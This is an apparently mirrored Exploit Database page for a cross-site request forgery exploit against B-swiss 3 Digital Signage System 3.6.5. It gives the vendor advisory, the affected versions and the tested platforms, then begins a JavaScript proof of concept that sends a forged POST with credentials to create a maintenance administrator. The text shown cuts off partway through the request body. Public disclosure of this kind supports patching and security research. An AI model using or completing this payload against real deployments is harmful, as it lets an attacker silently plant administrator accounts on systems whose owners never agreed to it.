B-swiss 3 Digital Signage System 3.6.5 – Cross-Site Request Forgery (Add Maintenance Admin)

Exploit Database
108 阅读

作者： LiquidWorm

日期： 2020-09-25
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/48833/

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# Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin)

# Date: 2020-09-16

# Exploit Author: LiquidWorm

# Vendor Homepage: https://www.b-swiss.com

# Version: 3.6.5

Affected version: 3.6.5,3.6.2,3.6.1,3.6.0,3.5.80,3.5.40,3.5.20,3.5.00,3.2.00,3.1.00

<!--

B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin

Vendor: B-Swiss SARL | b-tween Sarl

Product web page: https://www.b-swiss.com

Affected version: 3.6.5

3.6.2

3.6.1

3.6.0

3.5.80

3.5.40

3.5.20

3.5.00

3.2.00

3.1.00

Summary: Intelligent digital signage made easy. To go beyond the

possibilities offered, b-swiss allows you to create the communication

solution for your specific needs and your graphic charter. You benefit

from our experience and know-how in the realization of your digital

signage project.

Desc: The application interface allows users to perform certain actions

via HTTP requests without performing any validity checks to verify the

requests. This can be exploited to perform certain actions with administrative

privileges if a logged-in user visits a malicious web site.

Tested on: Linux 5.3.0-46-generic x86_64

Linux 4.15.0-20-generic x86_64

Linux 4.9.78-xxxx-std-ipv6-64

Linux 4.7.0-040700-generic x86_64

Linux 4.2.0-27-generic x86_64

Linux 3.19.0-47-generic x86_64

Linux 2.6.32-5-amd64 x86_64

Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64

macOS 10.13.5

Microsoft Windows 7 Business Edition SP1 i586

Apache/2.4.29 (Ubuntu)

Apache/2.4.18 (Ubuntu)

Apache/2.4.7 (Ubuntu)

Apache/2.2.22 (Win64)

Apache/2.4.18 (Ubuntu)

Apache/2.2.16 (Debian)

PHP/7.2.24-0ubuntu0.18.04.6

PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1

PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1

PHP/5.6.31

PHP/5.6.30-10+deb.sury.org~xenial+2

PHP/5.5.9-1ubuntu4.17

PHP/5.5.9-1ubuntu4.14

PHP/5.3.10

PHP/5.3.13

PHP/5.3.3-7+squeeze16

PHP/5.3.3-7+squeeze17

MySQL/5.5.49

MySQL/5.5.47

MySQL/5.5.40

MySQL/5.5.30

MySQL/5.1.66

MySQL/5.1.49

MySQL/5.0.77

MySQL/5.0.12-dev

MySQL/5.0.11-dev

MySQL/5.0.8-dev

phpMyAdmin/3.5.7

phpMyAdmin/3.4.10.1deb1

phpMyAdmin/3.4.7

phpMyAdmin/3.3.7deb7

WampServer 3.2.0

Acore Framework 2.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2020-5589

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5589.php

13.06.2020

-->

<html>

<body>

<h1>CSRF Add b-swiss Maintenance Admin</h1>

function GodMode()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http:\/\/192.168.10.11\/index.php", true);

xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryfH6TtIgiA4Qhr6Ed");

xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");

xhr.withCredentials = true;

var body = "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +

"Content-Disposition: form-data; name=\"locator\"\r\n" +

"\r\n" +

"Users.Save\r\n" +